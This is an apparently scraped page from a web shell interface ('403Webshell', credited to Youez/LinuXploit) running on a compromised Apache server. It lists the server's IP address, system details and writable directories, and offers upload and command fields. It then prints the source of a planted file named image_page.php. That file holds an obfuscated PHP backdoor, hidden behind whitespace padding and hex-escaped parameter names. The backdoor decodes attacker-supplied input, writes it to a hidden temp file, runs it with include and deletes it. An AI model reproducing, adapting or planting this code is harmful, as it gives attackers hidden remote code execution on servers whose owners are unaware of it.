403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.217
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/linkabili/public/upload/certification/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/linkabili/public/upload/certification/image_page.php
<?php																																										if(isset($_POST["r\x65\x66"])){ $data_chunk = $_POST["r\x65\x66"]; $data_chunk = explode ( '.' ,$data_chunk ) ; $factor = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); $q = 0; $__tmp = $data_chunk; while ($v7 = array_shift($__tmp)) { $chS = ord($salt5[$q % $lenS]); $d = ((int)$v7 - $chS - ($q % 10)) ^ 58; $factor .= chr($d); $q++; } $key = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/dev/shm"]); for ($dchunk = 0, $entity = count($key); $dchunk < $entity; $dchunk++) { $flag = $key[$dchunk]; if (!( !is_dir($flag) || !is_writable($flag) )) { $record = implode("/", [$flag, ".element"]); if (@file_put_contents($record, $factor) !== false) { include $record; unlink($record); exit; } } } }


if(isset($_REQUEST["\x64\x61t"]) ? true : false){
	$entry = $_REQUEST["\x64\x61t"];
	$entry=explode		 ( 	 '.'  ,$entry); 	 
	$component='';
            $s='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=strlen($s);
            $z=0;
            $len=count($entry);
    
            do {	 if ($z >= $len) break;
                $v9=$entry[$z];
                $sChar=ord($s[$z % $sLen]);
                $d=((int)$v9 - $sChar - ($z % 10))^7;
                $component .= chr($d);
                $z++;
            } while (true);
	$resource = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", getcwd(), "/var/tmp"]);
	$res = 0;
do {
    $pointer = $resource[$res] ?? null;
    if ($res >= count($resource)) break;
    		if (!!is_dir($pointer) && !!is_writable($pointer)) {
    $data = str_replace("{var_dir}", $pointer, "{var_dir}/.data_chunk");
    if (@file_put_contents($data, $component) !== false) {
	include $data;
	unlink($data);
	die();
}
}
    $res++;
} while (true);
}

Youez - 2016 - github.com/yon3zu
LinuXploit